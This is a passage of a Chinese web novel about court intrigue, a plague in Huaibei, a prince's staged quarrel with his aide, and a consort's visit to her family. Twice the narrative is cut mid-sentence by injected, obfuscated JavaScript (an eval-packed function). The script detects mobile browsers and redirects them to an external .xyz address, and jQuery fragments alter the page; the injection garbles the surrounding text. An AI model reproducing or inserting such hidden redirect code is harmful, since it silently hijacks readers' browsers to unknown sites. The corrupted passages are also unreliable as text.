那头“神鹿”毫无征兆地发出一声凄厉悲鸣,突然挣脱驯养人,竟直直向太子齐思安奔去,最后四蹄一软,跪倒在太子面前! 更令人惊骇的是,它雪白的皮毛下好似渗出点点血迹,原本散发柔光的鹿角,此刻却光芒乱烁,最后竟彻底熄灭。 全场一片死寂。 这哪里是祥瑞!这分明是大凶之兆! 献给皇帝的祥瑞,如今竟然死在了太子的面前! 这意味着什么,不言而喻,台下百官议论纷纷,可谁也不敢把他们心之所想真正说出来。 皇帝脸上的笑容瞬间凝固。 就在皇后正要动怒的时候,高玥抓住时机立刻上前一步,厉声呵斥那驯养人:“大胆奴才,献上此等不祥之物,你意欲何为!” 那驯鹿人早已吓得三魂去了七魄,只是不住地磕头,一句话也说不出来。 齐思安的脸色比那死鹿还要难看,他“噗通”跪倒在地,声音发颤:“父皇明鉴!这定是有人暗中作祟,意图陷害儿臣啊!” 高玥的余光却敏锐地捕捉到皇帝脸上闪过的一丝变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315869|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而这也是她想要达到的目的。 帝王心术,宁可错杀,绝不放过。 果然,皇帝看也未看地上的太子,只对着那驯鹿人吐出几个字:“拖下去,当场杖毙。” 那声音轻描淡写,却带着最重的刑罚。 齐思铭对着身后的侍卫挥了挥手,两名侍卫立刻上前,将那哭喊求饶的驯鹿人拖了下去。 这颗怀疑的种子,如今已经种下。 观景台上的闹剧还未结束,一名禁军统领便神色慌张地疾步奔来,噗通跪倒在地。 “启禀陛下!淮北八百里加急密报!当地爆发大规模瘟疫!” “什么?!”皇帝猛地站起身。 河北大水,如今淮北又起瘟疫。 他不由自主地看了一眼跪在地上,脸色惨白的太子。 难道真的是上天的警示? 半晌,皇帝终于缓缓开口,声音听不出喜怒,“既然如此,那便由太子代朕亲赴淮北,安抚灾民,查清瘟疫源头,以安天心。” 此言一出,皇后脸色瞬间煞白,她想也没想就从座位上冲了下来,不顾仪态地跪倒在皇帝面前,泣声道:“陛下,万万不可啊!淮北如今瘟疫横行,安儿乃是国之储君,怎能以千金之躯,亲赴那等九死一生之地!” 而一旁的高玥死死地掐住自己的掌心,这个情况是她预料之外的。 这个坐在龙椅上的男人,竟然因为一场只是提前设计好的所谓“祥瑞”,便将自己的亲生儿子推向一个必死的火坑。 如果此事办得好,那便是向苍天,向祥瑞赎罪,如果办的不好…… 所谓最是无情帝王家,她今日才算真正领教了。 就在这个时候,一旁站着的齐思铭上前一步,声音沉着。 “陛下息怒,天灾无情,非人力可控。” “眼下最要紧的,是立刻控制淮北疫情,安抚百姓!” 他单膝跪地,目光坚定。 “臣恳请陛下准许,即刻前往淮北,为陛下分忧!疫情一日不除,臣一日不归!” 齐思铭,你疯了! 高玥死死地盯着那个跪在地上的身影。 仿佛是感应到了她的视线,齐思铭的目光微不可查地动了一下,最终在与她视线交汇的瞬间,极快地扫了她一眼。 那一眼深邃而沉静,没有半分赴死的决绝,反而带着一种掌控全局的镇定与安抚。 那眼神仿佛在无声地告诉她:别慌,我自有计划。 她这才意识到,这个男人,正借着她布下的局,下了一步她完全没有预料到的棋。 …… 行宫一处僻静的花阁中。 那个名叫清虚真人的道士扑通一声跪在皇后面前,涕泪横流:“娘娘饶命,娘娘饶命啊!贫道也不知那畜生为何会突然发狂……” “闭嘴!”皇后精致的凤钗剧烈抖动。 “今日算你祖上积德。”皇后缓缓踱步,绣着金凤的鞋尖停在清虚真人的眼前,“还好是齐思铭自己跳出来要去淮北,本宫的安儿才躲过一劫。” 她猛地蹲下身,一把揪住清虚真人的衣领,一字一顿地在他耳边道:“若是太子当真去了,本宫就让你全家老小全都凌迟处死,让你在旁边看着,听着他们是怎么哭天抢地。” 皇后抬了抬手。 “来人。” “拖下去剁碎,去喂后山那几头狼。”皇后淡淡吩咐,仿佛在说一件再寻常不过的小事,“它们许久没开荤了,想来也饿了。” 清虚真人惊恐地瞪大了眼睛,想要求饶,却一个字也说不出来。 两个内侍一左一右架起他一时间,所有的哭喊求饶都化作了绝望的呜咽,他像一条死狗般被拖了出去。 皇后拿出一方洁白的丝帕,仔仔细细地擦拭着刚才抓过他衣领的手指,花阁中恢复了死寂。 一个男子的声音从屏风后响起:“娘娘息怒,此事还尚有转机。” 他缓缓走了出来,对皇后躬身一揖。 “河北的风停了,淮北的风,才刚刚要起。” 皇后冷哼了一声,拿起案几上的一把金剪,“咔嚓”一声剪断了一支含苞待放的玫瑰花蕾。 “那就让他,有去无回。” 22. 一石二鸟苦肉计 书房中,烛火将齐思铭的身影拉长,投在背后的淮北舆图上。 他的手指在“清河郡”三个字上反复摩挲,那里是此次瘟疫的爆发中心,如今已是人间炼狱。 “砰”的一声巨响,书房的门被人从外面一脚踹开,浓烈刺鼻的酒气瞬间涌了进来。 “你疯了吗?!”苏青踉跄着走了闯了进来,那张向来冷静的眼睛,死死地盯着面前的齐思铭。 齐思铭没有回头,目光依旧停在舆图上,丝毫不理会背后的苏青。 苏青几步冲到他面前,指着那份淮北舆图,手指因用力而微微发抖:“淮北是什么地方?是瘟疫!是会死人的!皇后和太子就等着你主动请缨,好让你有去无回,你还自己往这阎王殿里跳?” “不然呢?”齐思铭平静地看着苏青,眼中晦暗不明。 “不然?”苏青通红的眼中满是血丝,“你筹谋了这么多年?就是为了去瘟疫堆里面赌一条命?” “虚名!都是虚名!”他口不择言,“命都要没了,要这虚名有什么用!” “我不是为了虚名。”齐思铭盯着苏青,一字一顿地说道,“你还记不记得,你那晚提到的那个地下钱庄?” 苏青一愣,随即反应过来。 “你的意思是……” “我派去的人回报,那个钱庄的根基,就在清河郡。”齐思铭的手指重重点在清河郡的位置,“他们借漕运之便,将无数贪墨的银两洗得干干净净,再源源不断地输送回京城。这次所谓的‘瘟疫’,爆发得如此蹊跷,时间、地点,都恰好在他们活动的范围内。 “我不相信这是巧合。” 他转过身,直视着苏青,“这一趟,看似是死路,实际上绝处逢生也未必不可。” “可万一呢?那不是刀剑,是瘟疫!!再周密的计划,也防不住天灾!你若是有个三长两短,别说是我了,她呢?” 齐思铭愣了一下,目光看向书案上的那只千纸鹤。 那只千纸鹤早已不复最初的挺括,白色的纸张边缘被反复摩挲得起了细细的毛边,仿佛它的主人,在无数个无人知晓的深夜里,都曾将它握于掌心。 那瞬间的柔软,几乎要从他眼中泄出,却又被他迅速地敛了回去,化为更深沉的决绝。 “我这条命,本就是从阎王殿里捡回来的,再还回去一次,又何妨?” 借着查访瘟疫之名,行斩草除根之事。 这盘棋,远比他想象的要大,也远比他想象的要险恶。 “太危险了!”苏青脱口而出,“那里是他们的老巢,您这样去,等于一头扎进狼窝!我陪您一起去,多个人多份照应!” “不。”齐思铭断然拒绝,“你还有更重要的事情要去做。” 苏青还想再劝,齐思铭的眼神却彻底冷了下来。 “殿下!”苏青寸步不让,“这件事没得商量,我必须跟着您!” 齐思铭看着他,许久才吐出两个字:“来人呐!把他绑了。” 门外侍卫应声而入,苏青还没反应过来,双臂已被反剪到身后,粗糙的麻绳迅速捆住了他的手腕。 “齐思铭!你这是干什么!”苏青奋力挣扎,绳索却越收越紧。 “得罪了。”齐思铭小声说道。 还未等苏青反应过来,齐思铭便狠狠地踹了一脚:“我再问你一遍,事关国难,你是去还是不去?” 苏青瞬间明白了他的意思,破口大骂:“去你娘的国难!你自己不要命,还想拉着我一起下地狱?淮北那地方,是个人都知道十去九不回!老子还没活够,要去你自己去!我告诉你,我苏青是绝对不会去的!” “好,很好。”齐思铭挥了挥手,声音充满了讥讽,“,那你就别怪我了。拖下去,杖打八十大板。” “齐思铭!你这个忘恩负义的小人!我当初真是瞎了眼才会跟着你!你……你不得好死!” 辱骂声随着苏青被拖拽的身影越来越远,最后消失在庭院深处。 紧接着,便是沉闷的杖击声和痛苦的惨叫声。 半夜,阴冷潮湿的柴房里,苏青趴在冰冷的稻草上,身体早已被打得皮开肉绽,血肉模糊,连发出声音的力气都没有了。 柴房的门“吱呀”一声被推开,一个模糊的人影走了进来,手中还拿着跟棍子。 苏青艰难地掀开眼皮,但还未看清来人,后颈就是一痛,紧接着便彻底陷入黑暗。 不知过了多久,他再次睁眼,发现自己竟躺在一张柔软舒适的床上。 房间里燃着上好的安神香,陈设考究,绝非他能消受得起的地方。 他挣扎着想坐起来,但浑身的伤口疼的让他倒吸一口冷气。 “苏青兄弟,你醒了?”一个中年男子的声音传来。 苏青循声望去,只见一个身着锦袍的中年男人端着药碗走了进来。 正是王承德。 “你怎么会在这里?”苏青的声音沙哑。 “唉,说来话长。”王承德将药碗放在床头,叹了口气,“听闻苏青兄弟在王爷府上受了重罚,我于心不忍,便使了些手段将你救了出来。你说你这又是何苦呢?” 一提起齐思铭,苏青像是被点燃了引线的火药,新仇旧恨一并涌上心头。 他猛地一拳砸在床板上,牵动伤口疼得他龇牙咧嘴,嘴上却骂得更凶了。 “我当初真是瞎了眼,跟了那么个狼心狗肺的东西!想当初我跟着王员外,那也是吃香的喝辣的,日子过得何等逍遥自在! 偏偏信了他的鬼话,以为能博个大好前程!结果呢?他倒好,自己要去淮北那个鬼地方送死,还想拉着我一起陪葬!那可是瘟疫!有去无回的,老子才不去!” 他越说越气,胸口剧烈起伏,仿佛在齐思铭那边受了天大的委屈。 王承德眼中闪过一丝得意,他拍了拍苏青的肩膀,语重心长地说道:“良禽择木而栖,贤臣择主而事。我早就看出苏青兄弟是个有大志向的人,听闻那位王爷平日里就是个活阎王,你在他那里自然是讨不到什么好处的。他不懂得惜才,自然有懂得惜才的人。” 他话锋一转,宽慰苏青道:“既然如今你与他已然决裂,不如,跟着我干如何?我保证,你的前途只会比跟着他更加光明。” 苏青冷笑一声,斜眼看着他:“我如今回去也是死路一条,凭什么信你?跟着你干,你能给我什么好处?” 王承德仿佛就 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齐思铭默默走到高玥身边坐下,两个人离得很近,近到高玥能感受到他身上传来的温度,她不自觉地将怀里的锦盒抱得更紧了些。 夜风吹过,带来一丝凉意,两人之间的沉默却比这夜风更加沉重。 半晌,齐思铭低沉的嗓音,带着一丝不易察觉的沙哑,在夜色中响起:“对不起。” 这三个字轻飘飘的,却像一块巨石砸在高玥心上,她愣了一下,甚至以为自己听错了。 “你说什么?” 他没有看她,目光投向天边那轮残月,“如果没有我,此刻的你应该会过得更开心吧,而不是像现在这样,过着刀口舔血的日子。” 高玥闻言,心头像是被什么东西狠狠揪了一下,但她脸上却缓缓绽开一个笑容,带着几分自嘲。 她用一种故作轻松的语气打趣道,语气中却充满了一丝淡淡的哀伤:“那怎么办?我已经被王爷您亲手拉上这条贼船了,现在想赶我下去,也晚啦。” 她想了想,还是将怀里的锦盒递了过去。 “给你的。” 齐思铭接过锦盒。 他打开盒盖,一支通体温润的红玉笛静静地躺在其中,笛身雕刻着细密的祥云暗纹,尾端坠着一枚小小的,用红绳编织的平安结,在月光下泛着柔和的光泽。 “之前在京城时,就找人做了。”高玥低下头,看着自己的脚尖,声音很轻,“想着你有时心烦,吹吹笛子总能静心。本来……本来想找个好日子给你的,没想到……” 没想到,竟成了送别的礼物。 她抬起头看着他,用尽了所有力气才说出那句话:“你一定要回来。” 齐思铭的心脏仿佛被什么东西攥住了,他握紧了手中的玉笛,笛身温润的触感从指尖传来,一直暖到心底。 他看着她,眼底的阴霾和算计在这一刻尽数褪去,只剩下毫不掩饰的认真。 “我答应你。”他的声音低沉而郑重。 “等我回来,我教你吹《凤求凰》。” 23. 杀官立威信 姐妹入君怀 淮北,清河郡。 “王爷,前面就是清河郡了。”王友驾着马车,空气中弥漫着的酸臭味让他不禁皱了皱眉头。 马车内,齐思铭端坐着,车帘的一脚被他掀开一道缝隙,放眼望去,满目疮痍。 破败的屋檐下,蜷缩着一个个面黄肌瘦的灾民。 他们的眼中,满是空洞,与其说是活着,不如说是正在等待死亡。 “王爷,这里的情况可比奏报上说的要严重百倍。” 齐思铭没有回答,目光扫过那些被木板钉死的门窗,上面用潦草地画着巨大的红叉。 这便是地方官吏所谓的“隔离”,将人与病痛一同封死在方寸之地,任其自生自灭。 “停车。”齐思铭的语气愈发阴沉。 他迅速从马车上下来,,脸上围上厚厚的棉布,便径直走向不远处一个官府设立的施药点。 药棚前排着稀稀拉拉的队伍,几个衙役有气无力地给灾民分发着黑乎乎的药汤,盛药的木桶里还飘着零稀的几根枯黄的药渣。 一个头发花白的老妇人颤巍巍地跪倒在地,苦苦哀求道:“官爷,求求您了,再多给一碗吧,我孙儿快不行了……” 衙役不耐烦地用汤勺拨开她手中的破碗,呵斥道:“滚滚滚!每人只有一碗,哪来那么多废话!你家那孙子,喝了也是等死,浪费药材!” 齐思铭的脚步停住了。 他眼神平静地看着这一幕,薄唇却抿成了一道直线。 他缓步上前,拾起地上的一片药渣,捻在指尖细细查看。 “这是何药?”他开口,声音温和。 那衙役上下打量了齐思铭等人一眼,只见面前的人衣着光鲜,与周围的破败污秽格格不入,一看就不是本地人,更不可能是逃难的灾民。 但他只当是哪里来的公子哥,不知死活地跑到这疫区来看热闹。 “喂,我说你们几个,这里可不是什么游山玩水的好地方。”那个衙役把手里的汤勺往木桶里一扔,语气轻蔑,“瞧见了没,这里闹瘟疫呢,一不小心感染上了,神仙都难救你!” “大胆!你可知……”王友刚想要反驳,却被齐思铭制止住。 “哦?”齐思铭将那药渣递到鼻尖轻嗅,却没有直接回答那个衙役,“寻常的败酱草,配上些桔梗。” “败酱草清热解毒,活血化瘀,对付寻常的痈疮肿痛倒是不错。” “桔梗宣肺利咽,祛痰止咳,若是风热感冒,喝上一碗也能缓解一二。” 他顿了顿,目光缓缓扫过面前的衙役,语气骤然变冷,“只是本王不解,这二者,何时有了能医治瘟疫的奇效?” 那衙役听他说的头头是道,先是一愣,随即像是听到了什么天大的笑话一般,哈哈大笑,“我当是谁呢,口气这么大,原来就是个不知从哪冒出来的抽郎中!” “怎么?读了两本破医书,就敢跟衙门指手画脚了?小子,我劝你识相点,别在这多管闲事,不然爷爷我把你当成染了瘟疫的一并关进去,让你尝尝这药汤的滋味!” “你!”王友怒火中烧,拔起佩刀就想上前。 齐思铭的面色却依旧平静,他甚至还露出了一丝极淡的笑意,那笑容看的衙役心里莫名的发毛。 “你笑什么,信不信老子……” 衙役的话还没说完,王友已然忍无可忍。 他一个箭步上前,根本没见他如何动作,那衙役便被一股巨力推得踉跄后退,一屁股跌坐在地。 不等衙役反应过来,一块通体乌黑的铁牌递到了他面前。 正中央一个龙飞凤舞的篆体大字,让他浑身的血液瞬间凝固。 齐。 “睁大你的狗眼看清楚,这位,便是奉皇命前来淮北赈灾的钦差,督主,齐王爷!” 齐思铭随手扔掉药渣,淡淡道:“将此地县丞,给本王叫来。” 不过一炷香的功夫,一个身形肥胖的中年男人便被带了过来。 清河郡县丞刘康一见这阵仗,腿肚子就有些发软,却还强装镇定地行礼:“下官刘康,参……参见王爷。” 齐思铭看向刘康,那身绯色官袍被他圆滚的肚子撑得紧绷,一张脸更是油光水滑,与此地漫天的尘土和绝望格格不入。 “刘县丞,”齐思铭眸色暗了下来,声音却依旧温和,“朝廷拨下的救灾药材,在何处?” 刘康额头渗出冷汗,连忙答道:“回王爷,药材……药材都已熬制成汤药,分发给百姓了。” “是吗?”齐思铭不置可否,他侧过头,对王友说道,“去县丞府上的库房看看。” 刘康的脸色瞬间血色尽失,他扑通一声跪倒在地,大呼冤枉:“王爷明察!下官对朝廷忠心耿耿,绝无半点私藏啊!” 齐思铭看着他,不再言语。 王友的动作很快,没过多久,他带着几名亲卫,抬着数只沉重的木箱回来了。 刘康一看到箱子,本就惨白的脸色更是瞬间化为死灰。 王友“咔嚓”一声撬开其中一只箱子的锁扣,猛地掀开箱盖。 在场的众人皆是死寂。 箱子里面,码放的整整齐齐的,竟然全都是上好的黄芪、当归,甚至还有几支品相极佳的老山参! 不等刘康发出任何声音,王友又将余下的几只箱子撬开,无一例外都是朝廷拨下的珍贵药材。 “你现在还有什么话可说!”齐思铭一把掐住刘康的脖子,厉声呵道。 剧烈的窒息感让刘康几欲昏厥,求生的本能让他死死地抓住齐思铭的手腕,“王……王爷饶命……下官……下官家里……上有八十老母……下有……嗷嗷待哺的孩儿……他们……他们也需要这些药材……救命啊……” 齐思铭像是甩开什么脏东西一般,猛地松开了手。 刘康瘫软在地,捂着脖子剧烈地咳嗽,劫后余生的幸福还没来得及爬上他的脸,就听到那个如阎王般的声音再次响起。 “既然县丞这么爱惜这些药材,想必是不能浪费了。把他丢到疫区里面,将这些药材好生炖好,每日送给县丞,不得有误。” 刘康的咳嗽声戛然而止,他难以置信地抬起头,“不……不!王爷!王爷饶命啊!我错了!我真的错了!” 刘康终于反应过来,手脚并用地爬向齐思铭,却被王友一脚踹开。 “王爷,在他的私库中,除了发现这些药材,还有与这几位药商的交易账本。” 王友的声音低了又低,“这可能与我们要找的线索有关。” 齐思铭接过账本,一页一页地翻过,脸上的神情晦暗不明。 “王友。” “属下在!” “顺着这上面的名字,”他将账本丢回王友怀中,“一个一个给本王查清楚,本王要知道,是谁,有这么大胆子,敢将手伸向这淮北几十万的救命钱!” 他顿了顿,幽深的眸子扫过周围面黄肌瘦的灾民,他们的眼中,除了是对这些贪官被惩治的快意,但更多的是对未来的茫然。 “另外,传我命令,即刻执行新法!”齐思铭一字一顿,“城中划分区域,病患与家属不得擅自出入。所有街道、屋舍,每日以石灰洒扫。病亡者尸身与所用之物,集中焚烧,不得延误。” 此令一出,衙役们顿时面露难色,窃窃私语。 一个年长的衙役头目,仗着自己有些资历,硬着头皮上前躬身道:“王爷,此举……怕是有些不妥。我大胤朝历来讲究入土为安,焚烧尸身,不光是对死者的大不敬,更是与我朝律法、祖宗规矩相悖啊!若是如此行事,恐……恐怕会引起民怨……” 他的声音越来越小,小到最后恐怕只有他自己才能听得到了。 “哦?律法?”齐思铭缓缓开口,“那本王问你,是这城中的人命重要,还是你口中那狗屁不通的律法更重要!” 他上前一步,周身散发出的压迫感让那衙役头目双腿一软,几乎站立不稳。 “在这里,”齐思铭的声音冰冷中带着不容置喙的威严,“我,就是律法。” 那衙役头目被齐思铭的气势吓得屁滚尿流,而有了他这个前车之鉴,其余的衙役哪里还敢有半分异议? 一时间,整个清河郡以前所未有的效率运转起来。洒石灰的、清扫街道的、搬运尸身的……众人各司其职,虽仍有百姓哭嚎不解,但在明晃晃的刀口下,再大的怨气也只能暂时压下。 原本混乱不堪、死气沉沉的疫区,竟奇迹般地开始有了秩序。 王友大步流星地走进营帐,脸上是掩盖不住的敬佩,“王爷,您真是神了!那些灾民一开始还吵吵嚷嚷,现在看到动真格的,反倒都服服帖帖了!” 齐思铭正坐在案前,手中端着一杯早已凉透的茶,没有作声。 王友还在不住地夸赞:“属下真是佩服得五体投地!王爷这一招快刀斩乱麻,既立了威,又稳了民心,当真是英明神武!” 英明神武? 他的脑海中,不由自主地浮现出临行前夜,院子中高玥对他说的那些话。 彼时,他将淮北的疫情简略说与她听,其中也有几分试探的意味,如若她真的与自己有二心,他也可以尽早留有后手。 没想到,她只是略一思索,便给出了一个让他意想不到的答案。 “王爷此去,立威是第一要务。”月光下,她的眸子亮的惊人,“灾民此刻需要的不是怜悯,而是一个能带他们活下去的铁腕强者。” “而您要做的,就是把所有病人集中隔离,阻断病源。所有病亡之人,连同其用物,必须全部焚烧,绝不能留后患。” “我知道,这么做一定会有官员出来说,焚烧尸体是对死者的大不敬,但是……” 她顿了顿,“这些说法,在活人的性命面前,一文不值。” 他当时听完,第一个念头便是这女人疯了。 焚烧尸身,与祖宗礼法为敌,这无异于自掘坟墓,稍有不慎,便会遭到反扑。 他警惕地看了一眼面前的女人,不知道她葫芦里卖的是什么药。 似乎是看穿了他的疑虑,她上前一步,声音压得极低,却字字清晰:“王爷,我知道您不信。但请您想一想,若按常规之法,疫情蔓延,十室九空,届时就算您有通天之能,对着一座死城,又有什么用? 可若是您用雷霆手段控制住了疫情,救下了这几十万百姓,谁还会记得那些所谓的规矩?他们只会记得,是您,给了他们第二次生命。 届时,民心所向,便是您最大的资本。” 而就在刚刚,齐思铭其实也只是抱着半信半疑的想法。 毕竟这番言论太过惊世骇俗,稍有不慎,便会引火烧身。 可现如今看着帐外这番井然有序的景象,听着王友的汇报,他不得不承认,她说的是对的。 这个女人,她似乎总能看透事情的本质,精准地抓住最关键的症结。 她身上究竟还藏着多少他不知道的秘密? …… 与淮北的人间地狱不同,河北行宫内是一派歌舞升平的景象。 皇帝看着满桌的珍馐佳肴,脸上却带着几分意兴阑珊。 在河北巡视的日子,每日看到的都是流离失所的灾民,让他心情烦闷,加之灾情之下,一切娱乐活动都已停止,日子过得实在无趣。 像是看出了皇帝心中所想,心腹太监王德春凑上前,低声说道:“陛下,杂家贵妃娘娘的老家山城,离此地不远。娘娘入宫许久,想必也思念父母。不如圣驾移步山城,一来可让娘娘与家人团聚,尽显陛下恩宠。二来嘛……” 王德春挤眉弄眼地补充道:“奴才听说,自古山城出美人……” 皇帝将手中的杯子重重往桌上一拍,发出一声脆响。 “放肆!”他的声音带着一丝不加掩饰的怒意,““如今淮北疫情未消,河北又是流民遍地,到处都是天灾人祸,你竟还有心情想这些风月之事?” 圣意之下,王德春“噗通”一声跪倒在地,“陛下息怒,奴才该死!奴才罪该万死!” 皇帝冷哼一声,却并未让他起来。 王德春连忙换了一种说法,“陛下,奴才不是那个意思……奴才只是只是心疼陛下啊!陛下乃万金之躯,关乎我大胤朝的江山社稷。 可连日来,您亲临灾区,目睹的皆是流离失所之惨状,听到的尽是哀鸿遍野之声,忧心忡忡,龙体日渐清减,奴才看着实在是不忍。” “忧思过甚,最是伤身,奴才这才斗胆,想着山城景致秀丽,正所谓换一个地方,也可以换一种心情。您若是能稍稍宽怀片刻,也算是为了我大胤朝的万千子民保重龙体啊!” 高玥心中冷哼了一声。 好一个为主分忧的忠奴,好一个心系天下的明君。 不过是厌烦了这灾区的沉闷,想换个地方寻欢作乐罢了,却偏要说得如此冠冕堂皇。 果然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315871|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王德春这番话正中皇帝下怀,他脸色也缓和了不少。 他转过头,看向高玥,语气中还带着一丝关切,“朕的身体倒是次要的。” “只是爱妃你,之前受了惊吓,近日又随朕奔波,瞧着都清瘦了,想必也是受这灾情影响,心中忧虑才郁郁寡欢。” 皇帝伸出手,轻轻拍了拍高玥的手背,“王德春说的也有几分道理,山城是你家乡,你也很久没有回去看看了。不如我们便顺势去山城小住几日,你也正好散散心。” 演,接着演。 什么龙体清减,为国分忧,说白了不就是给自己寻花问柳找了个金光闪闪的牌坊吗? 现在倒好,又把这顶“体恤爱妃”的高帽子扣到我头上了。 心中虽然白眼与弹幕齐飞,但高玥面上却不动声色地应承下来。 去吧去吧,她其实对皇帝要去山城做什么不感兴趣,但对那座城里,属于玥贵妃的“家”,倒是生出了几分探究的意味。 “父母”…… 这个词对她而言,更多的更像是一种符号,一种社会关系的代码,却从未有过真实的情感和温度与之对应。 如今,能有机会亲眼见一见这具身体的“父母”,倒也不失为一桩趣事。 她很好奇,那所谓的血脉亲情,所谓的舐犊情深,究竟是怎样一番光景。 “臣妾……谢陛下体恤。” …… 龙辇缓缓停在山城高府的门前。 说是府邸,但实则早已是一片喜庆的氛围,门口两尊石狮子都被系上了大红绸花,从门口一路望进去,张灯结彩,庭院也被洒扫得纤尘不染。 高玥在翠儿的搀扶下走了出来,眼前的一幕让她微微一怔。 以一个看起来约莫四五十岁的中年男人为首,乌压压跪了一地的人。 “臣,高士廉,恭迎圣驾!吾皇万岁万岁万万岁!贵妃娘娘千岁千岁千千岁!” 皇帝扶起高士廉,声音温和,“高爱卿平身吧” 众人谢恩起身,高士廉身侧一位保养得宜的妇人则快步上前,一把拉住了高玥的手。 她的眉眼间与高玥有几分相似,此刻正上下打量着自己的女儿,声音带着一丝哽咽:“玥儿……哦不,贵妃娘娘,快让臣妾好好看看。” 一连串的关怀备至,让高玥有些无所适从。 这就是……所谓的母爱吗? 她能感觉到对方传递过来的温度,却不知为何无法在心底激起半点涟漪,只能按照一个女儿应有的样子,露出一个温婉的笑容,轻声安抚道:“娘,女儿一切都好,劳您挂心了。陛下对女儿恩宠有加,宫里的人也都照顾得很好。” 她的大脑飞速运转,试图在系统的数据库里寻找与之匹配的情感模块,结果却是一片空白。 其实,在那个名为【爱在西元前】的游戏里,她对自己名义上的父母记忆就少得可怜。 它们更像是一段被写定的背景资料,是她作为“高玥”这个角色的人物小传里冰冷的一行字,而她也从未觉得有何不妥,父母的存在,或许本就是可有可无的点缀。 晚宴之上,丝竹声声,舞乐助兴。 高士廉使了个眼色,乐声陡然一变,变得轻快而灵动。 一个身着水袖罗裙的少女,如一只翩跹的蝴蝶,从屏风后转出。 那少女不过十五六岁的年纪,身段窈窕,面容姣好,一双眼睛水灵灵的,带着少女独有的纯真与娇憨。 她舞姿轻盈,水袖翻飞间,每一个旋转,每一个回眸,都带着别样的风情。 那是一种未经雕琢的美,纯粹而动人。 皇帝的目光,瞬间就被那舞动的身影牢牢吸引住了,手中的酒杯都忘了放下。 高士廉看准时机,起身笑道:“陛下,此乃臣的小女,高盼。拙劣舞技,恐污了圣眼。” 高盼,高攀。 这心思,简直昭然若揭。 皇帝的目光从高盼身上移开,看向高士廉,语气中满是赞许:“高爱卿,你可真是生了两个好女儿啊。” 一句话,便定下了高盼的未来。 高士廉喜不自胜,连连称谢。 只有高玥,端着酒杯,唇边噙着一抹意味不明的笑意,静静地看着这一切。 夜深人静,喧嚣散去。 高玥推开窗,晚风带着一丝凉意。 她望着淮北的方向,夜空中没有一颗星,黑沉沉的,如同齐思铭那双深不见底的眼。 他现在在做什么呢?那边,一切都还好吗? 这个念头毫无预兆地冒出来,连她自己都觉得有些莫名其妙。 明明只是合作关系,她为何会如此挂念。 心念一动,她唤来翠儿:“取纸笔来。” 翠儿很快便将纸笔准备好,高玥坐在桌前,提笔蘸墨,却久久无法落笔。 些什么好呢? 告诉他自己回了家,见到了那个一心想把女儿往龙床上送的父亲? 还是告诉他,皇帝又看上了她的妹妹? 这些絮絮叨叨的琐事,他一个在瘟疫区挣扎的人,哪里有时间看。 她写了又划,划了又写,宣纸被揉成一团又一团。 最终,她放弃了写信,深吸一口气,在崭新的宣纸上,画了一个简单的笑脸,圆圆的眼睛,弯弯的嘴角,旁边还画了一个握紧的拳头。 一个现代人再熟悉不过的“加油”表情包。 罢了,她又担心齐思铭看不懂,在笑脸的旁边一笔一划地写下了“加油”两个字。 他知道加油是什么意思吗? 心之所念,又在下面加了一行小字,“是盼你平安的意思。” 看着这个与周围环境格格不入的奇怪图案,她自己都忍不住笑了。 齐思铭看到这个,大概会以为是什么鬼画符吧。 犹豫片刻,她又在图案旁边,一笔一划,郑重地写下了一个“玥”字。 “翠儿,派最可靠的人,将这个送到淮北,交到王爷手上。”她将信纸仔细折好,递了过去。 就在这时,房门外响起了剧烈的敲门声,翠儿打开门,一个丫鬟连滚带爬地冲了进来,扑通一声跪倒在地。 高玥认出,这是妹妹高盼的贴身丫鬟。 “贵妃娘娘,不好了!”那丫鬟哭得上气不接下气,“小姐……小姐和老爷吵起来了!她嚷嚷着要剪头发,说……说如果要她进宫,她就去出家!” 24. 淮北收心山城网 高玥跟着那小丫鬟,脚步匆匆,几乎是小跑着穿过回廊,还未踏入房门,便听到里面传出高母焦急的哭喊声,夹杂着少女的断断续续地抽泣。 “盼儿,你这是要逼死为娘啊!你把剪刀放下,快放下!” 高玥一把推开房门,眼前的景象让她倒抽了一口凉气。 房内一片狼藉,梳妆台上的瓶瓶罐罐倒了一地,而她那个妹妹高盼,手中正紧握着一把剪刀。 她一手抓着一缕长发,另一只手颤抖着,看样子是真要剪下去。 “都别过来!再过来我就去出家!” “我的儿,你不能做傻事啊!”高母瘫在一旁,想要伸手去夺剪刀,却又怕伤了女儿,只能徒劳地哭喊着。 见到高玥进来,高母像是抓住了救命稻草,一把抓住高玥的衣袖,提泪横流地哀求道,“贵妃娘娘,您就劝劝盼儿吧!她要是有个三长两短,我也不活了!” 高玥看着眼前的这出闹剧,心中不禁想笑。 家里出了一个贵妃不够,还竟想着再往那吃人的地方再送进去一个? 如今闹成这样,又是演给谁看? 但她也清楚,现在不是追究责任的时候,高盼情绪激动,手里又拿着利器,万一真伤了自己,事情就麻烦了。 思及此,她收起心中的那点讥讽,脸色沉了下去,“都出去。” 高母还想留下,抓着高玥的袖子不肯松手,“娘娘……我……” 高玥冷冷地甩开高母,高母心头一紧,后面的话生生卡在了喉咙里。 她从未见过女儿这般模样,并非是贵妃的威严,而是一种从骨子里透出来的,让人胆寒的冷漠。 屋内只剩下姐妹二人。 